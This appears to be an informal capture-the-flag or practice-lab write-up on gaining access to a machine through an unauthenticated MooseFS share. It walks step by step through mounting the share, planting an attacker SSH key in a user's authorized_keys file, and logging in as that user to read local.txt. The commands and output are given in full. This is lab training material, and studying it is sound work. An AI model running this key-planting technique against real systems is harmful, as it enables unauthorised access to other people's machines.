

I ask for a lot people in raids, and all them say: no one on market have phplist, moosefs & PE on tomcat 8.5.47 (even just RCE - users). But here we are:

Moosefs

1. You can't RCE this machine just by recon/search for public exploiting resources.
2. The root cause is no flaw. You need to read this one and following the instruction.

<https://moosefs.com/blog/how-install-moosefs/>

In clients section:

Users' computers (Clients) installation

In order to mount a file system based on MooseFS, it is necessary that users' computers have FUSE package (at least in version 2.6, recommended $\geq 2.7.2$). If it is not present, install it. One of the options is to compile it from sources, or you can install it from repositories on Debian-based systems with the following command:

```
apt install fuse libfuse2
```

mfsmount can be installed in the same way as other MooseFS components:

```
apt install moosefs-client
```

Let's assume that you'll mount the system in a /mnt/mfs folder on a client's machine. Issue the following commands:

```
mkdir -p /mnt/mfs
mfsmount /mnt/mfs -H mfsmaster
```

Now after issuing the `df -h | grep mfs` command you should get information similar to the following:

```
/dev/sdb      2.0G  69M  1.9G  4%  /mnt/mfschunks1
/dev/sdc      2.0G  69M  1.9G  4%  /mnt/mfschunks2
mfsmaster:9421 3.2G   0    3.2G  0%  /mnt/mfs
```

Voila! MooseFS is installed on your cluster.

You cant mount it, write ssh key on it and ssh to the machine.

More detail:

1. Install moosefs-client
2. Mkdir mount (folder)
3. Following the instruction and mount
 - a. `mfsmount /mount/folder -H 192.168.25.107`
4. `ls -la`

```
total 19
drwxrwxrwx 3 root      root 12900 Feb 21 09:30 .
drwxr-xr-x 6 root      root  4096 Jul 28 17:56 ..
-rw----- 1 user_local 1000    70 Jan 24  2020 .bash_history
-rw-r--r-- 1 user_local 1000    0 Jan 24  2020 .bash_profile
-rw-r--r-- 1 user_local 1000    0 Jan 24  2020 .bashrc
drwxr-xr-x 2 user_local 1000    1 Jan 24  2020 .ssh
-rw-r--r-- 1 user_local 1000   59 Jul 28 17:57 .sync
```
5. Create ssh keygen, move it into .ssh folder
 - a. `cp id_rsa.pub /mount/folder/.ssh/authorized_keys`
6. On .sync file, you can see user is **brian**

```
cat .sync
Synced brian's home folder
```

2020

7. Then you can ssh with brian shell and got the local.txt

```
ssh -i id_rsa brian@192.168.25.107
```